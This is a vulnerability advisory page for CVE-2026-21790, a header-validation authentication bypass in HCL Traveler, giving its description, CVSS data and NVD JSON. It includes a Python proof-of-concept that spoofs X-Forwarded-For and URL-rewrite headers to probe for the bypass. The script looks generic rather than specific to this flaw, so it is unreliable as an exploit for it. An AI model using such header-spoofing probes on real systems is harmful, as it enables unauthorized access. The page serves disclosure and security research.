Security Vulnerability Report
中文
CVE-2026-21790 CVSS 6.3 MEDIUM

CVE-2026-21790

Published: 2026-03-24 21:16:27
Last Modified: 2026-03-25 15:41:58

Description

HCL Traveler is susceptible to a weak default HTTP header validation vulnerability, which could allow an attacker to bypass additional authentication checks.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

HCL Traveler (具体受影响版本请参考官方公告 KB0129139)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_vulnerability(target_url): """ PoC for CVE-2026-21790: Weak HTTP Header Validation in HCL Traveler This script attempts to bypass authentication by injecting weak headers. """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", # Attempting to inject headers that might bypass weak validation "X-Forwarded-For": "127.0.0.1", "X-Original-URL": "/protected/api", "X-Rewrite-Url": "/protected/api" } try: # Sending request to the target endpoint response = requests.get(target_url, headers=headers, timeout=10) # Check if the response indicates successful bypass (e.g., 200 OK instead of 401/403) if response.status_code == 200 and "unauthorized" not in response.text.lower(): print(f"[+] Potential Vulnerability Detected at {target_url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") else: print(f"[-] Target does not appear vulnerable or requires specific conditions.") print(f"[-] Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com/sync" # Replace with actual target check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21790", "sourceIdentifier": "[email protected]", "published": "2026-03-24T21:16:26.927", "lastModified": "2026-03-25T15:41:58.280", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Traveler is susceptible to a weak default HTTP header validation vulnerability, which could allow an attacker to bypass additional authentication checks."}, {"lang": "es", "value": "HCL Traveler es susceptible a una vulnerabilidad de validación de encabezado HTTP predeterminada débil, lo que podría permitir a un atacante eludir comprobaciones de autenticación adicionales."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0129139", "source": "[email protected]"}]}}